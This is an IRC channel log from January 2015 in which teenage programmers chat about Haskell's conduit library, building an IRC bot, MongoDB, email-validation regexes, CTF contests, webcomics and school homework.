[2015-01-20T18:11:48-0500] <assface> also I'm really bad about managing gpg keys
[2015-01-20T18:13:02-0500] <nezorg> anyone used conduit before?
[2015-01-20T18:13:09-0500] <assface> ahh, they updated the keyring, I see
[2015-01-20T18:13:18-0500] <assface> nezorg: no I have not
[2015-01-20T18:14:15-0500] <assface> a la wikipedia: "Conduit is a browser hijacking and an online platform"
[2015-01-20T18:14:27-0500] <nezorg> wrong conduit
[2015-01-20T18:14:31-0500] <nezorg> talking about the haskell library
[2015-01-20T18:15:26-0500] <assface> then I have certainly never used it
[2015-01-20T18:24:08-0500] <assface> *crickets*
[2015-01-20T18:24:30-0500] <nezorg> well we don't spend all of our time chatting
[2015-01-20T18:24:47-0500] • nezorg: is trying to wrap his head around conduit
[2015-01-20T18:25:42-0500] <assface> but I have nothing better to do
[2015-01-20T18:26:02-0500] <nezorg> learn haskell!
[2015-01-20T18:26:58-0500] <assface> like I said, I have nothing better to do!
[2015-01-20T18:27:50-0500] <assface> the purpose of this room is obviously to entertain me
[2015-01-20T18:27:50-0500] <nezorg> ~_~
[2015-01-20T18:28:29-0500] <jwoglom> assface: that's a bit self-centered, don't you think? :P
[2015-01-20T18:29:50-0500] <assface> naaaaah
[2015-01-20T18:30:20-0500] <assface> nezorg: I read the overview page, it reminds me of crypto++, which is also unusable.
[2015-01-20T18:31:12-0500] <nezorg> assface: ...haskell?
[2015-01-20T18:31:21-0500] <assface> no, conduit
[2015-01-20T18:31:29-0500] <nezorg> oh
[2015-01-20T18:31:58-0500] <nezorg> well it doesn't have to do with crypto if that's what you mean
[2015-01-20T18:32:05-0500] <nezorg> but maybe you just meant structure
[2015-01-20T18:32:18-0500] <assface> I know, but crypto++ had a similar thing with sources and sinks and pipes
[2015-01-20T18:32:36-0500] <assface> itwas so confusing I stopped tryign to use it
[2015-01-20T18:32:44-0500] <nezorg> ah
[2015-01-20T18:33:12-0500] <assface> that's what happens when you go full OOP on stream operations
[2015-01-20T18:33:32-0500] <nezorg> well, conduit is certainly not oop :P
[2015-01-20T18:33:38-0500] <nezorg> it's very very haskell-y
[2015-01-20T18:33:40-0500] <nezorg> which means
[2015-01-20T18:33:43-0500] <nezorg> category theory!
[2015-01-20T18:33:56-0500] <+Tamini> :D
[2015-01-20T18:34:05-0500] <assface> >haskell
[2015-01-20T18:34:16-0500] <assface> the language for plebs
[2015-01-20T18:34:40-0500] <nezorg> wat
[2015-01-20T18:35:29-0500] <+JacobEdelman> +1 arseface
[2015-01-20T18:35:52-0500] <bob_twinkles> says the dude who writes javascript
[2015-01-20T18:36:01-0500] <assface> >javascript
[2015-01-20T18:36:13-0500] <assface> at least it's better than BASIC
[2015-01-20T18:36:16-0500] <assface> (barely)
[2015-01-20T18:36:18-0500] <+JacobEdelman> :P
[2015-01-20T18:36:24-0500] <+JacobEdelman> I prefer typescript now
[2015-01-20T18:36:25-0500] <nezorg> well at least there's a point we can agree on
[2015-01-20T18:36:33-0500] <nezorg> (regarding assface's comment)
[2015-01-20T18:36:44-0500] <nezorg> although I don't understand how you can bare c++
[2015-01-20T18:36:57-0500] <bob_twinkles> C++ is gr8 dude
[2015-01-20T18:37:06-0500] <assface> what do you mean bare C++?
[2015-01-20T18:37:12-0500] <+JacobEdelman> use lark, its the language of the future
[2015-01-20T18:37:17-0500] <nezorg> oops, bear
[2015-01-20T18:37:40-0500] <alokpathy> nezorg: JacobEdelman's influencing you too D:
[2015-01-20T18:37:49-0500] <bob_twinkles> please JacobEdelman if we wanted to break our () keys, we would use a real liisp
[2015-01-20T18:37:57-0500] <nezorg> alokpathy: :'(
[2015-01-20T18:38:01-0500] <+JacobEdelman> bob_twinkles: what?
[2015-01-20T18:38:11-0500] <+JacobEdelman> bob_twinkles: lark isn't lisp
[2015-01-20T18:38:22-0500] <assface> nezeog: eh, it's okay so long as you don't go full OOP
[2015-01-20T18:38:30-0500] <+JacobEdelman> bob_twinkles: it's syntax will be entirely different
[2015-01-20T18:38:42-0500] <+JacobEdelman> (for the uninitaited, lark is the lang I am righting)
[2015-01-20T18:38:46-0500] <+JacobEdelman> *writing
[2015-01-20T18:39:03-0500] <+JacobEdelman> (also,I have a long runnign vendetta against natrual languages)
[2015-01-20T18:39:10-0500] <assface> I once wrote a language
[2015-01-20T18:39:25-0500] <@awe> assface: his language is shyte
[2015-01-20T18:39:25-0500] <nezorg> JacobEdelman: do you speak lojban?
[2015-01-20T18:39:31-0500] <+JacobEdelman> no
[2015-01-20T18:39:34-0500] <+JacobEdelman> too much errort
[2015-01-20T18:39:39-0500] <@awe> assface: he's trying to reinvent lisp without it being lisp.
[2015-01-20T18:39:44-0500] <assface> it was a bare-minimum interpreted assembly lang that never got written
[2015-01-20T18:39:45-0500] <nezorg> JacobEdelman: whattabout esperanto?
[2015-01-20T18:39:53-0500] <@awe> assface: also, he's going to write arseface because he apparently won't even type swears on a computer.\
[2015-01-20T18:40:07-0500] <assface> convenient
[2015-01-20T18:43:58-0500] <@awe> JacobEdelman: so, my probability professor does data streams and algo research..
[2015-01-20T18:44:13-0500] <alokpathy> awe: :o
[2015-01-20T18:44:32-0500] <alokpathy> awe: What kind of algo?
[2015-01-20T18:44:49-0500] <@awe> You can look at some of his papers.
[2015-01-20T18:44:50-0500] <@awe> http://people.cs.umass.edu/~mcgregor/research/research.html
[2015-01-20T18:50:29-0500] <assface> interdasting
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[2015-01-20T19:25:03-0500] <+Tamini> ooh
[2015-01-20T19:25:26-0500] <+Tamini> nezorg/ hardmath123 are either of you in the bay area
[2015-01-20T19:25:30-0500] <nezorg> no
[2015-01-20T19:25:32-0500] <+Tamini> if so are you guys doing the khan academy thing
[2015-01-20T19:25:43-0500] <nezorg> apparently not
[2015-01-20T19:25:59-0500] <+Tamini> freaking colleges keep emailing me
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[2015-01-20T19:29:50-0500] <nezorg> Tamini: what were you expecting when you signed up?
[2015-01-20T19:30:28-0500] <+Tamini> i didnt
[2015-01-20T19:30:31-0500] <+Tamini> did i
[2015-01-20T19:30:34-0500] <+Tamini> i dont remember signing up
[2015-01-20T19:30:43-0500] <jwoglom> literally the only reason why any company/organization wants your email address is to spam you, basically
[2015-01-20T19:30:53-0500] <jwoglom> Tamini: did you opt-in to the collegeboard student search thing?
[2015-01-20T19:31:02-0500] <+Tamini> i dont even know
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[2015-01-20T19:33:42-0500] <foo> hey I'm back
[2015-01-20T19:34:16-0500] <foo> this time confused though
[2015-01-20T19:34:30-0500] <+hardmath123> Tamini: I'm in the bay area,.
[2015-01-20T19:34:30-0500] <foo> this sequence of commands joins the channel with gnutls
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[2015-01-20T19:34:58-0500] <+Tamini> hardmath123: are you subscribed to the
[2015-01-20T19:34:59-0500] <+Tamini> uh
[2015-01-20T19:35:04-0500] <+Tamini> khanacademy email thing
[2015-01-20T19:35:22-0500] <LittleBobbyTables> who's foo
[2015-01-20T19:35:24-0500] <foo> but not through my program...
[2015-01-20T19:35:31-0500] <foo> /me is confused
[2015-01-20T19:35:41-0500] <foo> /me is confused
[2015-01-20T19:35:44-0500] <+hardmath123> umm
[2015-01-20T19:35:45-0500] <+hardmath123> no
[2015-01-20T19:35:51-0500] <+hardmath123> what khanacademy email thing?
[2015-01-20T19:36:02-0500] <LittleBobbyTables> The thing from khan academy that emails you
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[2015-01-20T19:36:47-0500] <notabot> testing
[2015-01-20T19:36:51-0500] <nezorg> wat
[2015-01-20T19:36:58-0500] <nezorg> so apparently TWO joins work
[2015-01-20T19:37:00-0500] <nezorg> but not one
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[2015-01-20T19:38:14-0500] <notabot> testing
[2015-01-20T19:38:20-0500] <nezorg> weird
[2015-01-20T19:38:22-0500] <assface> quid est notabot?
[2015-01-20T19:38:24-0500] <nezorg> I added another \r\n
[2015-01-20T19:38:27-0500] <nezorg> and now it works
[2015-01-20T19:38:33-0500] <nezorg> assface: my soon-to-be-bot
[2015-01-20T19:38:41-0500] <assface> oy vey
[2015-01-20T19:38:44-0500] <LittleBobbyTables> guys I have a major problem
[2015-01-20T19:38:51-0500] <LittleBobbyTables> my spare tv is too big
[2015-01-20T19:38:55-0500] <LittleBobbyTables> idk what to do about it
[2015-01-20T19:39:00-0500] <assface> give it to me
[2015-01-20T19:39:06-0500] <nezorg> invent a shrink ray
[2015-01-20T19:39:19-0500] <LittleBobbyTables> shrink ray is a genius idea
[2015-01-20T19:39:25-0500] <+Tamini> ramenet first man
[2015-01-20T19:39:27-0500] <+Tamini> priorities
[2015-01-20T19:39:31-0500] <LittleBobbyTables> dude
[2015-01-20T19:39:35-0500] <LittleBobbyTables> TV is more important
[2015-01-20T19:39:52-0500] <assface> >he still watches TV
[2015-01-20T19:40:10-0500] <assface> literally all I watch on tv is seinfeld reruns
[2015-01-20T19:40:11-0500] <LittleBobbyTables> It's my second monitor.
[2015-01-20T19:40:25-0500] <LittleBobbyTables> I can't put it anywhere :/
[2015-01-20T19:40:31-0500] <assface> then call it a monitor, not a TV
[2015-01-20T19:41:15-0500] <LittleBobbyTables> It's a TV though
[2015-01-20T19:41:40-0500] <LittleBobbyTables> Because it's not in use as a monitor as of now, because it's too big
[2015-01-20T19:41:46-0500] <assface> when I think tv I think of seinfeld reruns
[2015-01-20T19:41:46-0500] <+hardmath123> nezorg: no, write a hamelin plugin!
[2015-01-20T19:41:54-0500] <assface> not of a second monitor
[2015-01-20T19:42:13-0500] <nezorg> hardmath123: I don't want to deal with locks and such :|
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[2015-01-20T19:42:35-0500] <+hardmath123> nezorg: you don't have to, hamelin.py takes care of 90% of that
[2015-01-20T19:42:43-0500] <+hardmath123> nezorg: read net.py
[2015-01-20T19:44:00-0500] <nezorg> hardmath123: I mean like in your writing-to-a-file qdb app
[2015-01-20T19:44:16-0500] <nezorg> although I suppose using a proper db would deal with that
[2015-01-20T19:44:33-0500] <+hardmath123> yeah, use a mongod in the backround or something
[2015-01-20T19:44:41-0500] <+hardmath123> easy
[2015-01-20T19:45:38-0500] <nezorg> ...mongo?
[2015-01-20T19:45:44-0500] <nezorg> mongo is the solution to nothing
[2015-01-20T19:45:49-0500] <LittleBobbyTables> pls
[2015-01-20T19:45:53-0500] <LittleBobbyTables> Mongo is the solution to Cuckoo
[2015-01-20T19:45:57-0500] <assface> ^
[2015-01-20T19:46:07-0500] <nezorg> what is cuckoo?
[2015-01-20T19:46:31-0500] <assface> everthang
[2015-01-20T19:46:49-0500] <LittleBobbyTables> malware analysis sandbox
[2015-01-20T19:46:59-0500] <+hardmath123> nezorg: mongodb?
[2015-01-20T19:47:04-0500] <+hardmath123> nezorg: http://mongodb.org
[2015-01-20T19:47:09-0500] <+hardmath123> it's a thing
[2015-01-20T19:47:19-0500] <nezorg> hardmath123: yes, that's what I was referring to
[2015-01-20T19:47:32-0500] <+hardmath123> mongod == mongo daemon
[2015-01-20T19:47:38-0500] <nezorg> yes, ik
[2015-01-20T19:47:57-0500] <nezorg> I have yet to find a problem that mongo solves
[2015-01-20T19:48:17-0500] <assface> >what are clustered databases
[2015-01-20T19:48:49-0500] <assface> probably was never an issue for you, but still...
[2015-01-20T19:49:31-0500] <LittleBobbyTables> Just HAProxy
[2015-01-20T19:49:49-0500] <nezorg> assface: mongo scales really badly
[2015-01-20T19:50:02-0500] <nezorg> this is well documented
[2015-01-20T19:50:21-0500] <assface> ehhhhh
[2015-01-20T19:50:24-0500] <+hardmath123> which is totally a problem because of the five billion people on this irc channel
[2015-01-20T19:50:26-0500] <+hardmath123> not to mention
[2015-01-20T19:50:33-0500] <+hardmath123> since you're only going to have one process
[2015-01-20T19:50:45-0500] <nezorg> hardmath123: well, it has problems other than scalability
[2015-01-20T19:50:46-0500] <+hardmath123> you don't actually need locking fanciness
[2015-01-20T19:51:04-0500] <+hardmath123> you could probably manage within RAM for a decent amount of time
[2015-01-20T19:51:10-0500] <nezorg> hardmath123: oh, will hamelin actually stream data?
[2015-01-20T19:51:14-0500] <+hardmath123> yeah, ofc
[2015-01-20T19:51:18-0500] <nezorg> I thought it would call a process for each line
[2015-01-20T19:51:20-0500] <+hardmath123> no
[2015-01-20T19:51:23-0500] <nezorg> maybe that would work then
[2015-01-20T19:51:23-0500] <+hardmath123> :P
[2015-01-20T19:51:26-0500] <jwoglom> >five billion people
[2015-01-20T19:51:28-0500] <+hardmath123> that's waaay to expensive
[2015-01-20T19:51:28-0500] <jwoglom> >22
[2015-01-20T19:51:44-0500] <nezorg> hardmath123: yeah that's what I thought
[2015-01-20T19:51:47-0500] <assface> jwoglom: same difference
[2015-01-20T19:52:00-0500] <+hardmath123> so, for instance, the `net` daemon spawns 1 process for each connection
[2015-01-20T19:52:23-0500] <+hardmath123> also, i tested it, and for whatever reason it actually worked just fine with multuple simultaneous connections
[2015-01-20T19:52:24-0500] <LittleBobbyTables> wait so when is hsctf
[2015-01-20T19:52:24-0500] <+hardmath123> idk
[2015-01-20T19:52:44-0500] <assface> LittleBobbyTables: ???
[2015-01-20T19:52:55-0500] <LittleBobbyTables> assface: When is HSCTF?
[2015-01-20T19:53:01-0500] <LittleBobbyTables> There, gramarized, better?
[2015-01-20T19:53:02-0500] <assface> what is that?
[2015-01-20T19:53:16-0500] <nezorg> LittleBobbyTables: assface: http://hsctf.com/
[2015-01-20T19:53:25-0500] <LittleBobbyTables> Why don't you just read it for me
[2015-01-20T19:53:41-0500] <nezorg> whoever set the date
[2015-01-20T19:53:43-0500] <assface> oh that thing
[2015-01-20T19:53:45-0500] <nezorg> is really bad at setting dates
[2015-01-20T19:53:54-0500] <nezorg> it conflicts with defcon ctf :/
[2015-01-20T19:54:11-0500] <assface> they probably did that on purpose
[2015-01-20T19:54:14-0500] <LittleBobbyTables> Well stop being so good and maybe you wouldn't have this problem
[2015-01-20T19:54:18-0500] <+hardmath123> JacobEdelman: s/coder@example.com/coder@example.tld. some of us have non-com emails. :P
[2015-01-20T19:54:55-0500] <LittleBobbyTables> What if I have an email at a non-tld
[2015-01-20T19:55:02-0500] <assface> ^
[2015-01-20T19:55:08-0500] <assface> I have a cock.li email
[2015-01-20T19:55:22-0500] <nezorg> hardmath123: but example.* isn't necessarily reserved
[2015-01-20T19:55:31-0500] <nezorg> shoulda done coder@example.example
[2015-01-20T19:55:45-0500] <LittleBobbyTables> balls@blew.blue
[2015-01-20T19:55:55-0500] <assface> example@example.example
[2015-01-20T19:55:57-0500] <+hardmath123> or just .+@.+\..+
[2015-01-20T19:56:14-0500] <+hardmath123> i think that works
[2015-01-20T19:56:34-0500] <LittleBobbyTables> That'd match more than not
[2015-01-20T19:57:00-0500] <nezorg> might as well do
[2015-01-20T19:57:05-0500] <nezorg> ^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$
[2015-01-20T19:57:12-0500] <LittleBobbyTables> why not do the
[2015-01-20T19:57:20-0500] <assface> *@*.*
[2015-01-20T19:57:22-0500] <LittleBobbyTables> !ddg rfc email regex
[2015-01-20T19:57:31-0500] <LittleBobbyTables> wtf is the bot command
[2015-01-20T19:57:32-0500] <nezorg> LittleBobbyTables: already posted it
[2015-01-20T19:57:36-0500] <LittleBobbyTables> no
[2015-01-20T19:57:49-0500] <nezorg> well, that's not from an rfc
[2015-01-20T19:57:54-0500] <nezorg> it's from the html5 spec
[2015-01-20T19:57:54-0500] <LittleBobbyTables> https://www.irccloud.com/pastebin/ByJ7Ub8T
[2015-01-20T19:58:12-0500] <nezorg> ah
[2015-01-20T19:58:14-0500] <nezorg> that's the real one
[2015-01-20T19:58:23-0500] <LittleBobbyTables> rfc 822 btw
[2015-01-20T19:58:43-0500] <+hardmath123> @ddg rfc email regex 
[2015-01-20T19:58:43-0500] <awebot> hardmath123: https://duckduckgo.com/?q=rfc+email+regex+
[2015-01-20T19:58:50-0500] <LittleBobbyTables> Ahhh, at
[2015-01-20T19:58:57-0500] <LittleBobbyTables> @ddg rfc 822 regex
[2015-01-20T19:58:57-0500] <awebot> LittleBobbyTables: https://duckduckgo.com/?q=rfc+822+regex
[2015-01-20T19:59:14-0500] <LittleBobbyTables> awe: 
[2015-01-20T19:59:16-0500] <nezorg> it kinda disgusts me that the rfc for the format for an email is 46 pages long...
[2015-01-20T19:59:33-0500] <LittleBobbyTables> change it to https://duckduckgo.com/html/?q=<search> awe, kthx
[2015-01-20T19:59:45-0500] <nezorg> ^
[2015-01-20T19:59:46-0500] <+Tamini> nezorg: yo in like
[2015-01-20T19:59:54-0500] <+Tamini> ~1 hr when im done with this GODDAMN TRANSLATION
[2015-01-20T19:59:57-0500] <+Tamini> wanna study fizzicks
[2015-01-20T20:00:03-0500] <nezorg> mebe
[2015-01-20T20:00:09-0500] <nezorg> except I have a lot of english to do
[2015-01-20T20:00:19-0500] <assface> hue
[2015-01-20T20:00:24-0500] <assface> I haven't translated anything in years
[2015-01-20T20:00:25-0500] <LittleBobbyTables> @mailbot  awe, ddg.com/html/?q= not ddg.com/?q=. First is non-javascript
[2015-01-20T20:00:31-0500] <LittleBobbyTables> pls
[2015-01-20T20:00:33-0500] <LittleBobbyTables> bots are hard
[2015-01-20T20:00:40-0500] <LittleBobbyTables> anyway bbl
[2015-01-20T20:00:41-0500] <+Tamini> tbh
[2015-01-20T20:00:44-0500] <+Tamini> it'll mostly be me going
[2015-01-20T20:00:49-0500] <+Tamini> "i cant do a problem halp"
[2015-01-20T20:00:52-0500] <+Tamini> and you troubleshooting me :D
[2015-01-20T20:01:07-0500] <nezorg> @tell awe <LittleBobbyTables> @mailbot  awe, ddg.com/html/?q= not ddg.com/?q=. First is non-javascript
[2015-01-20T20:01:07-0500] <awebot> nezorg: I'll let them know!
[2015-01-20T20:02:09-0500] <assface> and now, we share silly images.
[2015-01-20T20:02:16-0500] <assface> http://i0.kym-cdn.com/photos/images/newsfeed/000/741/902/c62.png
[2015-01-20T20:02:44-0500] <LittleBobbyTables> damn bots
[2015-01-20T20:03:02-0500] <ubuntor> ???
[2015-01-20T20:04:23-0500] <nezorg> assface: uhhhhhhhhhhh wut
[2015-01-20T20:04:30-0500] <nezorg> do you frequent /b/ or something
[2015-01-20T20:04:43-0500] <assface> http://www.pbfcomics.com/archive_b/PBF265-Matched.png
[2015-01-20T20:04:44-0500] <LittleBobbyTables> That's not /b/
[2015-01-20T20:04:55-0500] <assface> nexorg: no
[2015-01-20T20:05:10-0500] <assface> I stay on tech boards
[2015-01-20T20:05:24-0500] <nezorg> assface: again... wat
[2015-01-20T20:05:26-0500] <LittleBobbyTables> These days, all /b/ is is porn webm threads, non porn webm threads, loli, traps, you laugh you lose, fap roulette, and roll threads.
[2015-01-20T20:05:39-0500] <ubuntor> oh, is that a new pbf?
[2015-01-20T20:05:45-0500] <assface> da
[2015-01-20T20:06:06-0500] <nezorg> LittleBobbyTables: ...roll threads?
[2015-01-20T20:06:55-0500] <assface> every message is numbered in order, and /b/ is so fast that you basically get a random last few digits every time. The OP says something like "triples buys winrar!" and everyone makes filler posts until they get it
[2015-01-20T20:07:05-0500] <LittleBobbyTables> "your post must end in x, xy, xyz to get this"
[2015-01-20T20:07:30-0500] <assface> it's the stupidest thing I can think of
[2015-01-20T20:07:49-0500] <nezorg> people use winrar?
[2015-01-20T20:07:53-0500] <assface> no, it's a joke
[2015-01-20T20:08:10-0500] <LittleBobbyTables> If your post ends in 666, you must, for example, post a picture of you buying winrar
[2015-01-20T20:08:17-0500] <nezorg> oh
[2015-01-20T20:08:59-0500] <nezorg> I'll stick to smbc for my comics http://www.smbc-comics.com/?id=3611#comic
[2015-01-20T20:09:12-0500] <assface> you're really limiting yourself
[2015-01-20T20:10:25-0500] <nezorg> Tamini: I wonder if I could dig up my translation... :P
[2015-01-20T20:10:32-0500] <+Tamini> lol
[2015-01-20T20:10:38-0500] <nezorg> or maybe assface could
[2015-01-20T20:10:43-0500] <+Tamini> that would still require that i copy down 50 lines of text
[2015-01-20T20:10:44-0500] <+Tamini> :X
[2015-01-20T20:10:50-0500] <+Tamini> its slowly coming along
[2015-01-20T20:11:12-0500] <assface> idk if I still have my translations.
[2015-01-20T20:11:41-0500] <+Tamini> i got this
[2015-01-20T20:11:41-0500] <+Tamini> sorta
[2015-01-20T20:13:20-0500] <assface> http://invisiblebread.com/  http://eqcomics.com/2009/03/08/sunday-aliens/  http://oneoverzero.comicgenesis.com/d/20000827.html
[2015-01-20T20:13:39-0500] <assface> nezorg: check those out
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[2015-01-20T20:14:47-0500] <+Tamini> oneoverzero is
[2015-01-20T20:14:49-0500] <+Tamini> interesting but
[2015-01-20T20:14:54-0500] <+Tamini> i cant deal with the art style or lack thereof
[2015-01-20T20:15:53-0500] <nezorg> assface: ugh, I have work to do
[2015-01-20T20:16:00-0500] <nezorg> why are you making me not want to do work
[2015-01-20T20:16:03-0500] <nezorg> then again that's easy to do
[2015-01-20T20:16:19-0500] <assface> you seriously have work?
[2015-01-20T20:16:28-0500] <assface> I just have to study for a physics final
[2015-01-20T20:16:59-0500] <+Tamini> yo assface
[2015-01-20T20:17:01-0500] <nezorg> I have yet to do my lit terms dictionary
[2015-01-20T20:17:03-0500] <+Tamini> wanna study physics with me later
[2015-01-20T20:17:10-0500] <+Tamini> i gotta study for a physics exam too
[2015-01-20T20:17:20-0500] <+Tamini> goddammit, i feel like i'm being rude whenever i ping you
[2015-01-20T20:17:25-0500] <assface> nezorg: sucks for you
[2015-01-20T20:17:41-0500] <assface> +Tamini: eh sure
[2015-01-20T20:18:50-0500] <+Tamini> awesome
[2015-01-20T20:19:40-0500] <assface> I don't know how though
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[2015-01-20T20:29:43-0500] <+hardmath123> every time i solve a math hw problem in a super-slick unobvious way
[2015-01-20T20:29:58-0500] <+hardmath123> i feel the temptation to write "this book is the property of the half-blood prince"
[2015-01-20T20:30:17-0500] <+hardmath123> and then scrawl the slick solutions in dark red ink
[2015-01-20T20:32:33-0500] <+Tamini> why don't you? :P
[2015-01-20T20:32:38-0500] <+Tamini> hmm
[2015-01-20T20:32:46-0500] <+Tamini> actually im going to review my old physics notebook to study
[2015-01-20T20:33:03-0500] <+Tamini> you just reminded me of the high quality problemsolving skills i posessed last year :3
[2015-01-20T20:33:03-0500] <assface> fine by me
[2015-01-20T20:33:08-0500] <+hardmath123> :P
[2015-01-20T20:40:50-0500] <+Tamini> we could probably
[2015-01-20T20:40:52-0500] <+Tamini> make a business out of
[2015-01-20T20:40:54-0500] <+Tamini> writing old math book
[2015-01-20T20:40:55-0500] <+Tamini> s
[2015-01-20T20:40:58-0500] <+Tamini> actually, this is a secret
[2015-01-20T20:41:07-0500] <+Tamini> but im actually working on a textbook rn with a couple olympiaders
[2015-01-20T20:41:20-0500] <+hardmath123> oooh shiny
[2015-01-20T20:41:30-0500] <assface> wassit aboot?
[2015-01-20T20:41:31-0500] <nezorg> in blood?
[2015-01-20T20:41:34-0500] <assface> ^
[2015-01-20T20:41:40-0500] <+Tamini> lol
[2015-01-20T20:41:42-0500] <+Tamini> so i work for a math academy
[2015-01-20T20:41:46-0500] <+Tamini> and they dont really use textbooks
[2015-01-20T20:41:54-0500] <assface> ewww
[2015-01-20T20:41:56-0500] <+Tamini> they use crappy photocopied exeter worksheets
[2015-01-20T20:42:02-0500] <+Tamini> instead of actual books and stuff
[2015-01-20T20:42:06-0500] <assface> ewwwwwwwwwww
[2015-01-20T20:42:08-0500] <+Tamini> because no book really covers a lot of the stuff
[2015-01-20T20:42:11-0500] <nezorg> what exactly is a math academy
[2015-01-20T20:42:21-0500] <+Tamini> basically you go there and do math
[2015-01-20T20:42:25-0500] <nezorg> wow
[2015-01-20T20:42:27-0500] <assface> ...
[2015-01-20T20:42:28-0500] <nezorg> wouldn't have guessed that
[2015-01-20T20:42:44-0500] <nezorg> anyway
[2015-01-20T20:42:50-0500] <nezorg> is it olympiad-style math?
[2015-01-20T20:42:54-0500] <nezorg> or more school-style math?
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[2015-01-20T20:45:21-0500] <ubuntor> assface: 1/0 was great
[2015-01-20T20:45:51-0500] <assface> ikr?
[2015-01-20T20:45:59-0500] <+Tamini> nezorg: bothh
[2015-01-20T20:46:08-0500] <+Tamini> i teach school-style math and learn olympiad style math :D
[2015-01-20T20:46:19-0500] <nezorg> huh
[2015-01-20T20:48:38-0500] <assface> mmmkay
[2015-01-20T20:49:03-0500] <+Tamini> (also sttatus on english?)
[2015-01-20T20:50:07-0500] <assface> ?
[2015-01-20T20:52:46-0500] <nezorg> oh
[2015-01-20T20:52:48-0500] <nezorg> it's
[2015-01-20T20:52:49-0500] <nezorg> like
[2015-01-20T20:52:50-0500] <nezorg> a lot
[2015-01-20T20:52:57-0500] <+Tamini> work faster, then! :P
[2015-01-20T20:53:04-0500] <+Tamini> dont get distracted :P
[2015-01-20T20:53:05-0500] <nezorg> like it won't get done today
[2015-01-20T20:54:15-0500] <assface> it's due tomorrow nezorg
[2015-01-20T20:54:25-0500] <nezorg> no it's not
[2015-01-20T20:54:26-0500] <assface> *thursday
[2015-01-20T20:54:29-0500] <nezorg> it's due friday
[2015-01-20T20:54:32-0500] <nezorg> I asked her
[2015-01-20T20:54:37-0500] <assface> we dont have class on friday
[2015-01-20T20:54:46-0500] <nezorg> but she said we could still turn it in
[2015-01-20T20:54:56-0500] <assface> eh
[2015-01-20T20:55:48-0500] <assface> it took me like an hour
[2015-01-20T20:56:53-0500] <nezorg> ah
[2015-01-20T20:56:57-0500] <nezorg> each entry takes me an hour or so
[2015-01-20T20:57:29-0500] <assface> seriously?
[2015-01-20T20:57:47-0500] <nezorg> yeah
[2015-01-20T20:57:50-0500] <nezorg> english be hard
[2015-01-20T20:58:21-0500] <assface> you're just not good at bullshitting
[2015-01-20T20:58:28-0500] <+Tamini> oh you guys go to school together?
[2015-01-20T20:58:40-0500] <assface> mmhmm
[2015-01-20T20:58:53-0500] <+Tamini> nice
[2015-01-20T20:58:57-0500] <+Tamini> is your school really that op :P
[2015-01-20T20:59:04-0500] <nezorg> no
[2015-01-20T20:59:10-0500] <assface> what?
[2015-01-20T20:59:16-0500] <nezorg> how can you say that
[2015-01-20T20:59:19-0500] <nezorg> when you go to tjhsst
[2015-01-20T20:59:44-0500] <+Tamini> but you guys beat us
[2015-01-20T20:59:45-0500] <+Tamini> at ctfs
[2015-01-20T20:59:46-0500] <+Tamini> >___>
[2015-01-20T20:59:48-0500] <+Tamini> <____<
[2015-01-20T20:59:52-0500] <+Tamini> oops extra _
[2015-01-20T21:00:09-0500] <assface> that's because of Meiburg+nezorg
[2015-01-20T21:00:21-0500] <assface> the dunamic dyo
[2015-01-20T21:00:38-0500] <nezorg> well you forgot andrew
[2015-01-20T21:00:48-0500] <assface> yah but I never knew andrew
[2015-01-20T21:01:07-0500] <nezorg> how well did you know meiburg?
[2015-01-20T21:01:37-0500] <assface> I have his email for some reason
[2015-01-20T21:01:57-0500] <assface> definitely knew him better than andrew though
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[2015-01-20T21:02:19-0500] <+Tamini> lol
[2015-01-20T21:02:25-0500] <+Tamini> the entire group seems really interesting
[2015-01-20T21:02:29-0500] <+Tamini> such techy discussions
[2015-01-20T21:02:42-0500] <+Tamini> everything alex says is just really interesting ._.
[2015-01-20T21:03:03-0500] <assface> really?
[2015-01-20T21:03:13-0500] <assface> last time I talked to him we tried and failed to understand NAS
[2015-01-20T21:03:17-0500] <+Tamini> lol
[2015-01-20T21:14:46-0500] <+Tamini> finally
[2015-01-20T21:14:48-0500] <+Tamini> i was efficient today
[2015-01-20T21:16:15-0500] <assface> about what?
[2015-01-20T21:16:27-0500] <+Tamini> doing work
[2015-01-20T21:16:32-0500] <+Tamini> i finished latin and apush
[2015-01-20T21:16:37-0500] <+Tamini> i just need to now review orgo once and im done
[2015-01-20T21:17:44-0500] <assface> im so glad I have such a light workload
[2015-01-20T21:23:56-0500] <+Tamini> luckyy
[2015-01-20T21:24:32-0500] <ubuntor> http://www.folded.com/jeff/fridge/timecube.shtml
[2015-01-20T21:26:09-0500] <assface> (C) 2006 Jeffrey Yaus. This is a work of parody, under the fair use doctrine judging parody and satire. The author was educated stupid and cannot compute a timecube; persons interested in actually learning the timecube should see timecube.com. 
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[2015-01-20T21:36:34-0500] Pidgey sets mode +v JacobEdelman
[2015-01-20T21:37:24-0500] <+JacobEdelman> anime is weird
[2015-01-20T21:40:38-0500] <LittleBobbyTables> nou
[2015-01-20T21:49:25-0500] <alokpathy> JacobEdelman: Check your chat.
[2015-01-20T21:49:25-0500] <alokpathy> JacobEdelman: Gchat, that is.
[2015-01-20T21:57:12-0500] <alokpathy> JacobEdelman: Jacob plz
[2015-01-20T22:04:30-0500] <+Tamini> yo guys
[2015-01-20T22:04:31-0500] <+Tamini> give me a year
[2015-01-20T22:04:37-0500] <+Tamini> from 2008 to 2014
[2015-01-20T22:04:45-0500] <alokpathy> 2009
[2015-01-20T22:04:57-0500] <+Tamini> awesome
[2015-01-20T22:05:13-0500] <alokpathy> Why?
[2015-01-20T22:15:11-0500] <LittleBobbyTables> 2008 to 2014 isn't a year though
[2015-01-20T22:17:59-0500] <+JacobEdelman> LittleBobbyTables: now thats just mean :P
[2015-01-20T22:40:00-0500] • hardmath123: 's hands are covered with gorilla glueeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
[2015-01-20T22:40:42-0500] <alokpathy> Oh dear
[2015-01-20T22:40:53-0500] <nezorg> at least your hands aren't covered with a gorilla?
[2015-01-20T22:43:08-0500] <+hardmath123> i would prefer a gorilla. they're fuzzy.
[2015-01-20T22:43:53-0500] <nezorg> typing while your hands are covered with gorilla glue seems a little irresponsible
[2015-01-20T22:45:31-0500] <alokpathy> nezorg: Maybe he's typing with his nose.
[2015-01-20T22:46:20-0500] <+hardmath123> i9wmj jo0y7b using nmy njoswwe.
